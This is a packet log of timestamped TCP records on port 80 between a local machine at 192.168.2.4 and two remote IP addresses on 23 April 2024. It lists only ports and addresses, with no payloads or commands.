Apr 23, 2024 09:38:07.859361887 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859364986 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.859378099 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859380960 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.859395027 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859396935 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.859414101 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859416962 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.859430075 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859436035 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.859446049 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859450102 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.859462023 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859463930 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.859478951 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859482050 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.859498024 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859502077 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.859513998 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859529018 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859544992 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.859546900 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859563112 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.859564066 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859580040 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859580994 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.859596968 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859612942 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859626055 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.859627962 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859647989 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859652996 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.859664917 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859680891 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859683990 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.859695911 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859699011 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.859711885 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859726906 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859728098 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.859743118 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859745026 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.859759092 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859771013 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.859776020 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859791994 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859797955 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.859807014 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859822989 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859823942 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.859838009 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859853983 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859858036 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.859869957 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859884977 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859888077 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.859900951 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859916925 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859931946 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859932899 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.859946966 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859963894 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859965086 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.859982014 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.859982967 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.860001087 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.860007048 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.860017061 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.860025883 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.860032082 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.860047102 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.860049963 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.860055923 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.860063076 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.860080957 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.860083103 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.860096931 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.860105991 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.860125065 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.860126972 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.860142946 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.860158920 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.860158920 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.860174894 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.860178947 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.860178947 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.860189915 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.860197067 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.860204935 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.860205889 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.860223055 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.860224009 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.860239983 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.860240936 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.860256910 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.860260010 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.860272884 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.860287905 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.860302925 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.860302925 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.860310078 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.860318899 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.860321045 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.860333920 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.860347986 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.860349894 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.860366106 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.860382080 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.860388994 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.860398054 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.860414028 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.860418081 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.860430956 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.860435963 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.860446930 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.860461950 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.860464096 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.860477924 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.860491991 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.860492945 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.860510111 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.860513926 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.860526085 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.860541105 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.860541105 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.860548019 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.860557079 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.860565901 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.860572100 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.860586882 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.860594034 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.860603094 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.860616922 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.860619068 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.860635042 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.860636950 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.860651970 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.860661983 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.860666990 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.860681057 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.860682964 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.860697985 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.860697985 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.860711098 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.860713005 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.860728025 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.860742092 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.860743046 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.860761881 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.860768080 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.860783100 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.860807896 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.860862970 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.860881090 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.860929012 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.860951900 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.874383926 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:08.075685024 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:08.080161095 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.080202103 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.080236912 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.080272913 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.080307961 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.080344915 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.080379963 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.080416918 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.080451965 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.080487013 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.080522060 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.080557108 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.080593109 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.081351042 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.081501007 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.081537962 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.082228899 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.082406044 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.082494020 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.082530022 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.082565069 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.082663059 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.082700014 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.082736015 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.082806110 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.082843065 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.082879066 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.082916975 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.086571932 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.086766958 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.086781979 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.091022015 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.091061115 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.091100931 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.091106892 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.091137886 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.091175079 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.091181040 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.091208935 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.091244936 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.091248035 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.093460083 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.093497038 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.093509912 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.093533039 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.093569040 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.093575001 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.093604088 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.093641996 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.093734980 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.093770981 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.093806028 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.093808889 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.093842030 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.093878031 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.093885899 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.093931913 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.093967915 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.093967915 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.094003916 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.094039917 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.094041109 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.094074965 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.094110012 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.094115973 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.094145060 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.094180107 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.094188929 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.094216108 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.094250917 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.094250917 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.094285965 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.094321012 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.094325066 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.094356060 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.094391108 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.094392061 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.094424963 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.094460964 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.094461918 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.094495058 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.094543934 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.094551086 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.094579935 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.094614029 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.094621897 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.094649076 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.094686031 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.094688892 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.094721079 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.094757080 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.094760895 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.094791889 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.094826937 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.094830990 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.094862938 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.094897985 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.094904900 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.094934940 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.094970942 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.094974995 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.095005989 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.095041037 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.095042944 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.095077038 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.095112085 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.095113993 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.095145941 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.095180988 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.095182896 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.095217943 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.095252991 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.095257998 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.095288992 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.095324039 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.095324039 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.095360041 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.095396042 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.095398903 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.095431089 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.095464945 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.095474958 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.095501900 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.095537901 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.095541000 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.095573902 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.095607996 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.095613956 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.095643997 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.095678091 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.095685959 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.095714092 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.095748901 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.095752954 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.095783949 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.095818996 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.095822096 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.095854044 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.095889091 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.095894098 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.095923901 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.095958948 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.095968962 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.095994949 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.096029997 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.096038103 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.096065998 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.096120119 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.096124887 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.096155882 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.096193075 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.096199989 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.096227884 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.096262932 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.096265078 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.096297026 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.096333027 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.096334934 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.096368074 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.096405029 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.096406937 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.096440077 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.096474886 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.096476078 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.096510887 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.096545935 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.096549034 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.096580029 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.096616983 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.096622944 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.096652031 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.096687078 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.096695900 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.096723080 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.096801043 CEST	80	49734	176.97.76.106	192.168.2.4
